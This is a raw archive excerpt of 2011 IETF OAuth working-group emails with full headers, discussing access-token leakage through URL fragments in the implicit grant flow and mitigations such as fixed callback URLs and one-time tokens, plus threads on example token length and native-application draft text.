h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=Qa2Avmr1eqSCsHXAzvVN8x7vwAXyJ5bFHH13kMX0UDQ=; b=xwF1BReVf2GWJhfytWWomUODESwDE9aIT7mUFJBBu//DnWQeysH7kxPHz32cjM9Hzy ZrJ0Ts/ZTSuf3atGAN6h8t0oXwqPaxYBZEOqDjnOurSdNPcxn+BK/GK8OPAbF/aAdHKA qe8HAEMZ7d11Js4sr0sltj2BvilSH0hv65/F4= MIME-Version: 1.0 Received: by 10.68.19.131 with SMTP id f3mr10130573pbe.379.1309984748258; Wed, 06 Jul 2011 13:39:08 -0700 (PDT) Received: by 10.68.48.166 with HTTP; Wed, 6 Jul 2011 13:39:08 -0700 (PDT) In-Reply-To: <1309984318.28669.69.camel@ground> References: <1309984318.28669.69.camel@ground> Date: Wed, 6 Jul 2011 22:39:08 +0200 Message-ID: From: Karim To: Justin Richer Content-Type: multipart/alternative; boundary=bcaec531506994c69f04a76c975a Cc: Kushal Dave , "oauth@ietf.org" Subject: Re: [OAUTH-WG] Concerns about Implicit Grant flow X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 06 Jul 2011 20:39:11 -0000 --bcaec531506994c69f04a76c975a Content-Type: text/plain; charset=ISO-8859-1 Correct me if i'm wrong, this case is handled by the nonce and time-stamp values ? On 6 July 2011 22:31, Justin Richer wrote: > You can still use the access code (web server) flow within a JavaScript > application, just without a reliable client secret. The point of the > "implicit" flow was to save a roundtrip to the server for light clients > with limited lifespans, and it's a tradeoff between security, ease of > implementation, and performance. > > -- Justin > > On Wed, 2011-07-06 at 16:08 -0400, Kushal Dave wrote: > > Hello! > > > > > > Foursquare recently encountered a scary example of a client > > accidentally leaking user tokens as part of the implicit grant flow. > > It turns out the official "Tweet this" button provided by twitter > > grabs the URL, including fragment, at the time of page load, before > > the client's Javascript has had a chance to elide the access_token > > hash value. And it's easy to imagine lots of other sharing and > > analytics tools could be similarly aggressive in transmitting hash > > values outside of the page. > > > > > > We've thought a lot about what to do about this, short of disabling > > the flow entirely. One thing that seems viable is to make the "access > > token" in this flow actually a one-time use token. The requesting page > > would then make a JSONP request exchanging the one-time use token for > > a permanent token that is never visible in the URL. Has this come up? > > Have you had any feedback from other implementors? > > > > > > We're not excited about such a blatant deviation from the spec, but > > we're not sure what else to do. > > > > > > Cheers, > > Kushal > > > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth > --bcaec531506994c69f04a76c975a Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Correct me if i'm wrong, this case is handled by the nonce and time-sta= mp values ?


On 6 July 2011 22:31, Jus= tin Richer <jrich= er@mitre.org> wrote:
You can still use= the access code (web server) flow within a JavaScript
application, just without a reliable client secret. The point of the
"implicit" flow was to save a roundtrip to the server for light c= lients
with limited lifespans, and it's a tradeoff between security, ease of implementation, and performance.

=A0-- Justin

On Wed, 2011-07-06 at 16:08 -0400, Kushal Dave wrote:
> Hello!
>
>
> Foursquare recently encountered a scary example of a client
> accidentally leaking user tokens as part of the implicit grant flow. > It turns out the official "Tweet this" button provided by tw= itter
> grabs the URL, including fragment, at the time of page load, before > the client's Javascript has had a chance to elide the access_token=
> hash value. And it's easy to imagine lots of other sharing and
> analytics tools could be similarly aggressive in transmitting hash
> values outside of the page.
>
>
> We've thought a lot about what to do about this, short of disablin= g
> the flow entirely. One thing that seems viable is to make the "ac= cess
> token" in this flow actually a one-time use token. The requesting= page
> would then make a JSONP request exchanging the one-time use token for<= br> > a permanent token that is never visible in the URL. Has this come up?<= br> > Have you had any feedback from other implementors?
>
>
> We're not excited about such a blatant deviation from the spec, bu= t
> we're not sure what else to do.
>
>
> Cheers,
> Kushal


_______________________________________________
OAuth mailing list
OAuth@ietf.org
h= ttps://www.ietf.org/mailman/listinfo/oauth

--bcaec531506994c69f04a76c975a-- From beaton@google.com Wed Jul 6 13:41:44 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 6813D21F8BDA for ; Wed, 6 Jul 2011 13:41:44 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -105.976 X-Spam-Level: X-Spam-Status: No, score=-105.976 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, HTML_MESSAGE=0.001, RCVD_IN_DNSWL_MED=-4, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id ne5j8zRVclYO for ; Wed, 6 Jul 2011 13:41:43 -0700 (PDT) Received: from smtp-out.google.com (smtp-out.google.com [74.125.121.67]) by ietfa.amsl.com (Postfix) with ESMTP id 6BE5321F8AE9 for ; Wed, 6 Jul 2011 13:41:43 -0700 (PDT) Received: from hpaq11.eem.corp.google.com (hpaq11.eem.corp.google.com [172.25.149.11]) by smtp-out.google.com with ESMTP id p66Kfgc5012457 for ; Wed, 6 Jul 2011 13:41:42 -0700 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta; t=1309984902; bh=+YVd78MVH7RO3E6j9+6D15myzpE=; h=MIME-Version:In-Reply-To:References:Date:Message-ID:Subject:From: To:Cc:Content-Type; b=jwiJq+VXbRfwkglUD6C99WhZj+QgE+nLD0ugbb5K3NVjsmSnr4kNJdXAwegjoW6Ar rBqWUPgNCN7pMJa0rgGGw== DomainKey-Signature: a=rsa-sha1; s=beta; d=google.com; c=nofws; q=dns; h=dkim-signature:mime-version:in-reply-to:references:date: message-id:subject:from:to:cc:content-type:x-system-of-record; b=UnLY4cpdWuaySaDMZePzf9PBq33XtEYlbPX/sSCjVP6NcEzDetxY2+RVyzze/2xFV WB9syFVf5XDWx7Ep7QKLA== Received: from pwi7 (pwi7.prod.google.com [10.241.219.7]) by hpaq11.eem.corp.google.com with ESMTP id p66KfZPl007125 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT) for ; Wed, 6 Jul 2011 13:41:41 -0700 Received: by pwi7 with SMTP id 7so260279pwi.13 for ; Wed, 06 Jul 2011 13:41:40 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=beta; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=Ctmfyce3+cD4WNSkAoSUr//YyfiruOmGIcPIEbp8Ig4=; b=gzpITnWweqTPf4eumHS/SOosxW3fRlX6Afa/O/pgkPfdDBSYuX9icZCn+WOIyzgkXa PyrdIZKT3Tdih5gwR9/A== MIME-Version: 1.0 Received: by 10.142.248.36 with SMTP id v36mr2545707wfh.437.1309984900654; Wed, 06 Jul 2011 13:41:40 -0700 (PDT) Received: by 10.142.14.2 with HTTP; Wed, 6 Jul 2011 13:41:40 -0700 (PDT) In-Reply-To: <1309984318.28669.69.camel@ground> References: <1309984318.28669.69.camel@ground> Date: Wed, 6 Jul 2011 13:41:40 -0700 Message-ID: From: Brian Eaton To: Justin Richer Content-Type: multipart/alternative; boundary=00504502c580aa263f04a76ca04b X-System-Of-Record: true Cc: Kushal Dave , "oauth@ietf.org" Subject: Re: [OAUTH-WG] Concerns about Implicit Grant flow X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 06 Jul 2011 20:41:44 -0000 --00504502c580aa263f04a76ca04b Content-Type: text/plain; charset=ISO-8859-1 On Wed, Jul 6, 2011 at 1:31 PM, Justin Richer wrote: > You can still use the access code (web server) flow within a JavaScript > application, just without a reliable client secret. The point of the > "implicit" flow was to save a roundtrip to the server for light clients > with limited lifespans, and it's a tradeoff between security, ease of > implementation, and performance. Yep. Two other options. - give out authorization codes via the user-agent flow. We've implemented a variation of this based on HTML5 and window.postMessage. - use a fixed callback URL for the user-agent flow. Make sure that fixed callback URL does not run random bits of script. Then have that fixed callback URL use javascript to convey the token to other pages on the same origin. It's a bad idea to use the user-agent flow without a specific whitelist of callback URLs which can receive the token. --00504502c580aa263f04a76ca04b Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable On Wed, Jul 6, 2011 at 1:31 PM, Justin Richer <jricher@mitre.org> wrote:
You can still use the access code (web server) flow within a JavaScript
application, just without a reliable client secret. The point of the
"implicit" flow was to save a roundtrip to the server for light c= lients
with limited lifespans, and it's a tradeoff between security, ease of implementation, and performance.

Yep. =A0Tw= o other options.

- give out authorization codes vi= a the user-agent flow. =A0We've implemented a variation of this based o= n HTML5 and window.postMessage.

- use a fixed callback URL for the user-agent flow. =A0= Make sure that fixed callback URL does not run random bits of script. =A0Th= en have that fixed callback URL use javascript to convey the token to other= pages on the same origin.

It's a bad idea to use the user-agent flow without = a specific whitelist of callback URLs which can receive the token.
=A0
--00504502c580aa263f04a76ca04b-- From jricher@mitre.org Wed Jul 6 13:54:41 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 9FFA521F8C0F for ; Wed, 6 Jul 2011 13:54:41 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -6.397 X-Spam-Level: X-Spam-Status: No, score=-6.397 tagged_above=-999 required=5 tests=[AWL=0.202, BAYES_00=-2.599, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id ASLn7sSJWWEn for ; Wed, 6 Jul 2011 13:54:37 -0700 (PDT) Received: from smtpksrv1.mitre.org (smtpksrv1.mitre.org [198.49.146.77]) by ietfa.amsl.com (Postfix) with ESMTP id CE30721F8C0E for ; Wed, 6 Jul 2011 13:54:37 -0700 (PDT) Received: from smtpksrv1.mitre.org (localhost.localdomain [127.0.0.1]) by localhost (Postfix) with SMTP id 805CD21B0964; Wed, 6 Jul 2011 16:54:37 -0400 (EDT) Received: from imchub2.MITRE.ORG (imchub2.mitre.org [129.83.29.74]) by smtpksrv1.mitre.org (Postfix) with ESMTP id 7807E21B02B3; Wed, 6 Jul 2011 16:54:37 -0400 (EDT) Received: from [129.83.50.1] (129.83.50.1) by imchub2.MITRE.ORG (129.83.29.74) with Microsoft SMTP Server id 8.3.159.2; Wed, 6 Jul 2011 16:54:37 -0400 From: Justin Richer To: Brian Eaton In-Reply-To: References: <1309984318.28669.69.camel@ground> Content-Type: text/plain; charset="UTF-8" Date: Wed, 6 Jul 2011 16:52:25 -0400 Message-ID: <1309985545.28669.73.camel@ground> MIME-Version: 1.0 X-Mailer: Evolution 2.32.2 Content-Transfer-Encoding: 7bit Cc: Kushal Dave , "oauth@ietf.org" Subject: Re: [OAUTH-WG] Concerns about Implicit Grant flow X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 06 Jul 2011 20:54:41 -0000 > > - give out authorization codes via the user-agent flow. We've > implemented a variation of this based on HTML5 and window.postMessage. > Caveat: This will run you off-spec. > - use a fixed callback URL for the user-agent flow. Make sure that > fixed callback URL does not run random bits of script. Then have that > fixed callback URL use javascript to convey the token to other pages > on the same origin. > > It's a bad idea to use the user-agent flow without a specific > whitelist of callback URLs which can receive the token. Brian's nailed it here. The best way to use this flow is to control the landing page as much as possible. -- Justin From eran@hueniverse.com Wed Jul 6 15:40:18 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id A3E6421F8BB8 for ; Wed, 6 Jul 2011 15:40:18 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.721 X-Spam-Level: X-Spam-Status: No, score=-2.721 tagged_above=-999 required=5 tests=[AWL=-0.123, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 39xaCIMsR80a for ; Wed, 6 Jul 2011 15:40:18 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id 29C8121F8AEA for ; Wed, 6 Jul 2011 15:40:18 -0700 (PDT) Received: (qmail 1340 invoked from network); 6 Jul 2011 22:40:17 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.20) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 6 Jul 2011 22:40:17 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT002.EX1.SECURESERVER.NET ([72.167.180.20]) with mapi; Wed, 6 Jul 2011 15:40:02 -0700 From: Eran Hammer-Lahav To: OAuth WG Date: Wed, 6 Jul 2011 15:40:01 -0700 Thread-Topic: Example tokens Thread-Index: Acw8LaRd3jBNZ8eQRdeWzHyD6SoK/Q== Message-ID: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: user-agent: Microsoft-MacOutlook/14.12.0.110505 acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_CA3A153F161EBeranhueniversecom_" MIME-Version: 1.0 Subject: [OAUTH-WG] Example tokens X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 06 Jul 2011 22:40:18 -0000 --_000_CA3A153F161EBeranhueniversecom_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Are the tokens used in the examples long enough? I don't want the examples = to demonstrate poor choice of byte count. EHL --_000_CA3A153F161EBeranhueniversecom_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable
Are the tokens used in t= he examples long enough? I don't want the examples to demonstrate poor choi= ce of byte count.

EHL
--_000_CA3A153F161EBeranhueniversecom_-- From tonynad@microsoft.com Wed Jul 6 15:42:41 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 5997021F8B28 for ; Wed, 6 Jul 2011 15:42:41 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -7.466 X-Spam-Level: X-Spam-Status: No, score=-7.466 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, HTML_MESSAGE=0.001, RCVD_IN_DNSWL_HI=-8, UNRESOLVED_TEMPLATE=3.132] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id G9rDSzCaIi9W for ; Wed, 6 Jul 2011 15:42:40 -0700 (PDT) Received: from smtp.microsoft.com (smtp.microsoft.com [131.107.115.214]) by ietfa.amsl.com (Postfix) with ESMTP id 5AC2321F8B1D for ; Wed, 6 Jul 2011 15:42:40 -0700 (PDT) Received: from TK5EX14MLTC103.redmond.corp.microsoft.com (157.54.79.174) by TK5-EXGWY-E803.partners.extranet.microsoft.com (10.251.56.169) with Microsoft SMTP Server (TLS) id 8.2.176.0; Wed, 6 Jul 2011 15:42:33 -0700 Received: from CH1EHSOBE005.bigfish.com (157.54.51.113) by mail.microsoft.com (157.54.79.174) with Microsoft SMTP Server (TLS) id 14.1.289.8; Wed, 6 Jul 2011 15:42:33 -0700 Received: from mail151-ch1-R.bigfish.com (216.32.181.172) by CH1EHSOBE005.bigfish.com (10.43.70.55) with Microsoft SMTP Server id 14.1.225.22; Wed, 6 Jul 2011 22:42:31 +0000 Received: from mail151-ch1 (localhost.localdomain [127.0.0.1]) by mail151-ch1-R.bigfish.com (Postfix) with ESMTP id EB53015A82CF for ; Wed, 6 Jul 2011 22:42:31 +0000 (UTC) X-SpamScore: -22 X-BigFish: PS-22(zz9371Mc857hzz1202h1082kzz1033IL8275bh8275dhz31h2a8h668h839h61h) X-Spam-TCS-SCL: 0:0 X-Forefront-Antispam-Report: CIP:157.55.61.146; KIP:(null); UIP:(null); IPV:SKI; H:CH1PRD0302HT008.namprd03.prod.outlook.com; R:internal; EFV:INT Received-SPF: softfail (mail151-ch1: transitioning domain of microsoft.com does not designate 157.55.61.146 as permitted sender) client-ip=157.55.61.146; envelope-from=tonynad@microsoft.com; helo=CH1PRD0302HT008.namprd03.prod.outlook.com ; .outlook.com ; Received: from mail151-ch1 (localhost.localdomain [127.0.0.1]) by mail151-ch1 (MessageSwitch) id 1309992151623928_10406; Wed, 6 Jul 2011 22:42:31 +0000 (UTC) Received: from CH1EHSMHS013.bigfish.com (snatpool1.int.messaging.microsoft.com [10.43.68.251]) by mail151-ch1.bigfish.com (Postfix) with ESMTP id 935B685004B; Wed, 6 Jul 2011 22:42:31 +0000 (UTC) Received: from CH1PRD0302HT008.namprd03.prod.outlook.com (157.55.61.146) by CH1EHSMHS013.bigfish.com (10.43.70.13) with Microsoft SMTP Server (TLS) id 14.1.225.22; Wed, 6 Jul 2011 22:42:27 +0000 Received: from CH1PRD0302MB115.namprd03.prod.outlook.com ([169.254.1.239]) by CH1PRD0302HT008.namprd03.prod.outlook.com ([10.28.29.127]) with mapi id 14.01.0225.056; Wed, 6 Jul 2011 22:42:27 +0000 From: Anthony Nadalin To: "William J. Mills" , "OAuth WG (oauth@ietf.org)" Thread-Topic: [OAUTH-WG] Native Application Text Thread-Index: Acw16NyZvC61BBzbTqSOVSJ2OxoVBgAFBNQAAYUdjYA= Date: Wed, 6 Jul 2011 22:42:26 +0000 Message-ID: References: <1309311376.66076.YahooMailNeo@web31811.mail.mud.yahoo.com> In-Reply-To: <1309311376.66076.YahooMailNeo@web31811.mail.mud.yahoo.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [10.28.29.114] Content-Type: multipart/alternative; boundary="_000_B26C1EF377CB694EAB6BDDC8E624B6E723154796CH1PRD0302MB115_" MIME-Version: 1.0 X-OrganizationHeadersPreserved: CH1PRD0302HT008.namprd03.prod.outlook.com X-FOPE-CONNECTOR: Id%0$Dn%*$RO%0$TLS%0$FQDN%$TlsDn% X-FOPE-CONNECTOR: Id%59$Dn%YAHOO-INC.COM$RO%2$TLS%6$FQDN%131.107.125.5$TlsDn% X-FOPE-CONNECTOR: Id%59$Dn%IETF.ORG$RO%2$TLS%6$FQDN%131.107.125.5$TlsDn% X-OriginatorOrg: microsoft.com X-CrossPremisesHeadersPromoted: TK5EX14MLTC103.redmond.corp.microsoft.com X-CrossPremisesHeadersFiltered: TK5EX14MLTC103.redmond.corp.microsoft.com Subject: Re: [OAUTH-WG] Native Application Text X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 06 Jul 2011 22:42:41 -0000 --_000_B26C1EF377CB694EAB6BDDC8E624B6E723154796CH1PRD0302MB115_ Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 SSBhc3N1bWUgeW91IGFyZSByZWZlcmVuY2luZyA0LjMuMj8gIEkgdGhpbmsgb2YgdGhhdCBhcyBh IG5vcm1hbCBmbG93IHRoYXQgbm90IHNwZWNpZmljIHRvIG5hdGl2ZSBhcHBsaWNhdGlvbnMuIFdo YXQgaXMgcG9pbnRlZCBvdXQgaGVyZSBpcyB0aGUgYXV0aG9yaXphdGlvbiAgY29kZSBncmFudCBm bG93IGFuZCB0aGUgY2FzZSB5b3UgcG9pbnQgb3V0IGlzIGNvdmVyZWQgaW4gMS40LjMNCg0KRnJv bTogV2lsbGlhbSBKLiBNaWxscyBbbWFpbHRvOndtaWxsc0B5YWhvby1pbmMuY29tXQ0KU2VudDog VHVlc2RheSwgSnVuZSAyOCwgMjAxMSA2OjM2IFBNDQpUbzogQW50aG9ueSBOYWRhbGluOyBPQXV0 aCBXRyAob2F1dGhAaWV0Zi5vcmcpDQpTdWJqZWN0OiBSZTogW09BVVRILVdHXSBOYXRpdmUgQXBw bGljYXRpb24gVGV4dA0KDQpZb3UgdGV4dCBkb2VzIG5vdCBtZW50aW9uIHdoYXQgd2lsbCBiZSBh IGNvbW1vbiB1c2UgY2FzZSwgd2hlcmUgdGhlIG5hdGl2ZSBhcHAgdXNlcyB0aGUgcGFzc3dvcmQg Z3JhbnQgdG8gZmV0Y2ggYSByZWZyZXNoIGFuZCBhY2Nlc3MgdG9rZW4uICBXaGV0aGVyIG9yIG5v dCBhbiBhcHAgY2FuIGtlZXAgYSBzZWNyZXQsIGl0J3MgYmV0dGVyIHRvIGhhdmUgaXQgc3RvcmUg dGhlIHRva2VuIHRoYW4gdGhlIHVzZXJuYW1lL3Bhc3N3b3JkIHBhaXIuDQoNCl9fX19fX19fX19f X19fX19fX19fX19fX19fX19fX19fDQpGcm9tOiBBbnRob255IE5hZGFsaW4gPHRvbnluYWRAbWlj cm9zb2Z0LmNvbTxtYWlsdG86dG9ueW5hZEBtaWNyb3NvZnQuY29tPj4NClRvOiAiT0F1dGggV0cg KG9hdXRoQGlldGYub3JnPG1haWx0bzpvYXV0aEBpZXRmLm9yZz4pIiA8b2F1dGhAaWV0Zi5vcmc8 bWFpbHRvOm9hdXRoQGlldGYub3JnPj4NClNlbnQ6IFR1ZXNkYXksIEp1bmUgMjgsIDIwMTEgNjox NSBQTQ0KU3ViamVjdDogW09BVVRILVdHXSBOYXRpdmUgQXBwbGljYXRpb24gVGV4dA0KOS4gTmF0 aXZlIEFwcGxpY2F0aW9ucw0KDQpBIG5hdGl2ZSBhcHBsaWNhdGlvbiBpcyBhIGNsaWVudCB3aGlj aCBpcyBpbnN0YWxsZWQgYW5kIGV4ZWN1dGVzIG9uIHRoZSBlbmQtdXNlcidzIGRldmljZSAoaS5l LiBkZXNrdG9wIGFwcGxpY2F0aW9uLCBuYXRpdmUgbW9iaWxlIGFwcGxpY2F0aW9uLCBldGMuKS4g IE5hdGl2ZSBhcHBsaWNhdGlvbnMgbWF5IHJlcXVpcmUgc3BlY2lhbCBjb25zaWRlcmF0aW9uIHJl bGF0ZWQgdG8gc2VjdXJpdHksIHBsYXRmb3JtIGNhcGFiaWxpdGllcywgYW5kIG92ZXJhbGwgZW5k LXVzZXIgZXhwZXJpZW5jZS4gIFRoZSBmb2xsb3dpbmcgYXJlIGV4YW1wbGVzIG9mIGhvdyBuYXRp dmUgYXBwbGljYXRpb25zIG1heSB1dGlsaXplIE9BdXRoOg0KDQogICBvICBJbml0aWF0ZSBhbiBB dXRob3JpemF0aW9uIFJlcXVlc3QgdXNpbmcgYW4gZXh0ZXJuYWwgdXNlci1hZ2VudDogVGhlIG5h dGl2ZSBhcHBsaWNhdGlvbiBjYW4gY2FwdHVyZSB0aGUgcmVzcG9uc2UgZnJvbSB0aGUgYXV0aG9y aXphdGlvbiBzZXJ2ZXIgdXNpbmcgYSB2YXJpZXR5IG9mIHRlY2huaXF1ZXMgc3VjaCBhcyB0aGUg dXNlIG9mIHRoZSB2YXJpb3VzIG1ldGhvZHMgZm9yIHJlZGlyZWN0aW9uIGluY2x1ZGluZyBhIFVS SSBpZGVudGlmeWluZyBhIGN1c3RvbSBVUkkgc2NoZW1lIChyZWdpc3RlcmVkIHdpdGggdGhlIG9w ZXJhdGluZyBzeXN0ZW0gdG8gaW52b2tlIHRoZSBuYXRpdmUgYXBwbGljYXRpb24gYXMgaGFuZGxl ciksIG1hbnVhbCBjb3B5LWFuZC1wYXN0ZSwgcnVubmluZyBhIGxvY2FsIHdlYnNlcnZlciwgYnJv d3NlciBwbHVnLWlucywgb3IgYnkgcHJvdmlkaW5nIGEgcmVkaXJlY3Rpb24gVVJJIGlkZW50aWZ5 aW5nIGEgc2VydmVyLWhvc3RlZCByZXNvdXJjZSB1bmRlciB0aGUgbmF0aXZlIGFwcGxpY2F0aW9u J3MgY29udHJvbCwgd2hpY2ggaW4gdHVybiBtYWtlcyB0aGUgcmVzcG9uc2UgYXZhaWxhYmxlIHRv IHRoZSBuYXRpdmUgYXBwbGljYXRpb24uDQogICBvICBJbml0aWF0ZSBhbiBBdXRob3JpemF0aW9u IFJlcXVlc3QgdXNpbmcgYW4gZW1iZWRkZWQgdXNlci1hZ2VudDogIFRoZSBuYXRpdmUgYXBwbGlj YXRpb24gb2J0YWlucyB0aGUgcmVzcG9uc2UgYnkgZGlyZWN0bHkgY29tbXVuaWNhdGluZyB3aXRo IHRoZSBlbWJlZGRlZCB1c2VyLWFnZW50LiAgVGVjaG5pcXVlcyBpbmNsdWRlIG1vbml0b3Jpbmcg c3RhdGUgY2hhbmdlcyBlbWl0dGVkIGR1cmluZyBVUkwgbG9hZGluZywgbW9uaXRvcmluZyBodHRw IGhlYWRlcnMsIGFjY2Vzc2luZyB0aGUgdXNlci1hZ2VudCdzIGNvb2tpZSBqYXIsIGV0Yy4NCg0K V2hlbiBjaG9vc2luZyBiZXR3ZWVuIGxhdW5jaGluZyBhbiBleHRlcm5hbCB1c2VyLWFnZW50IGFu ZCBhbiBlbWJlZGRlZCB1c2VyLWFnZW50LCBuYXRpdmUgYXBwbGljYXRpb24gZGV2ZWxvcGVycyBz aG91bGQgY29uc2lkZXIgdGhlIGZvbGxvd2luZzoNCg0KICAgbyAgRXh0ZXJuYWwgdXNlci1hZ2Vu dHMgbWF5IGltcHJvdmUgY29tcGxldGlvbiByYXRlIGFzIHRoZSBlbmQtdXNlciBtYXkgYWxyZWFk eSBoYXZlIGFuIGFjdGl2ZSBzZXNzaW9uIHdpdGggdGhlIGF1dGhvcml6YXRpb24gc2VydmVyIHJl bW92aW5nIHRoZSBuZWVkIHRvIHJlLWF1dGhlbnRpY2F0ZSwgYW5kIHByb3ZpZGUgYSBmYW1pbGlh ciB1c2VyLWFnZW50IHVzZXIgZXhwZXJpZW5jZSBhbmQgZnVuY3Rpb25hbGl0eS4gIFRoZSBlbmQt dXNlciBtYXkgYWxzbyByZWx5IG9uIGV4dGVuc2lvbnMgb3IgYWRkLW9ucyB0byBhc3Npc3Qgd2l0 aCBhdXRoZW50aWNhdGlvbiAoZS5nLiBwYXNzd29yZCBtYW5hZ2VycyBvciAyLWZhY3RvciBkZXZp Y2UgcmVhZGVyKS4NCiAgIG8gIEVtYmVkZGVkIHVzZXItYWdlbnRzIG1heSBvZmZlciBhbiBpbXBy b3ZlZCBlbmQtdXNlciBmbG93LCBhcyB0aGV5IHJlbW92ZSB0aGUgbmVlZCB0byBzd2l0Y2ggY29u dGV4dCBhbmQgb3BlbiBuZXcgd2luZG93cy4NCiAgIG8gIEVtYmVkZGVkIHVzZXItYWdlbnRzIHBv c2UgYSBzZWN1cml0eSBjaGFsbGVuZ2UgYmVjYXVzZSBlbmQtdXNlcnMgYXJlIGF1dGhlbnRpY2F0 aW5nIGluIGFuIHVuaWRlbnRpZmllZCB3aW5kb3cgd2l0aG91dCBhY2Nlc3MgdG8gdGhlIHZpc3Vh bCBwcm90ZWN0aW9ucyBmb3VuZCBvbiBieSBtYW55IG9mIHRoZSBleHRlcm5hbCB1c2VyLWFnZW50 cy4gIEVtYmVkZGVkIHVzZXItYWdlbnRzIGVkdWNhdGUgZW5kLXVzZXIgdG8gdHJ1c3QgdW5pZGVu dGlmaWVkIHJlcXVlc3RzIGZvciBhdXRoZW50aWNhdGlvbiAobWFraW5nIHBoaXNoaW5nIGF0dGFj a3MgZWFzaWVyIHRvIGV4ZWN1dGUpLg0KDQpXaGVuIGNob29zaW5nIGJldHdlZW4gaW1wbGljaXQg YW5kIGF1dGhvcml6YXRpb24gY29kZSBncmFudCB0eXBlcywgdGhlIGZvbGxvd2luZyBzaG91bGQg YmUgY29uc2lkZXJlZDoNCg0KICAgbyAgTmF0aXZlIGFwcGxpY2F0aW9ucyB0aGF0IHVzZSB0aGUg YXV0aG9yaXphdGlvbiBjb2RlIGdyYW50IHR5cGUgZmxvdyBTSE9VTEQgZG8gc28gd2l0aG91dCB1 c2luZyBjbGllbnQgcGFzc3dvcmQgY3JlZGVudGlhbHMsIGR1ZSB0byB0aGUgbmF0aXZlIGFwcGxp Y2F0aW9u4oCZcyBpbmFiaWxpdHkgdG8ga2VlcCB0aG9zZSBjcmVkZW50aWFscyBzZWN1cmUuDQog ICBvICBXaGVuIHVzaW5nIHRoZSBpbXBsaWNpdCBncmFudCB0eXBlIGZsb3cgYSByZWZyZXNoIHRv a2VuIGlzIG5vdCByZXR1cm5lZA0KDQoNCl9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fX19fDQpPQXV0aCBtYWlsaW5nIGxpc3QNCk9BdXRoQGlldGYub3JnPG1haWx0 bzpPQXV0aEBpZXRmLm9yZz4NCmh0dHBzOi8vd3d3LmlldGYub3JnL21haWxtYW4vbGlzdGluZm8v b2F1dGgNCg0K --_000_B26C1EF377CB694EAB6BDDC8E624B6E723154796CH1PRD0302MB115_ Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: base64 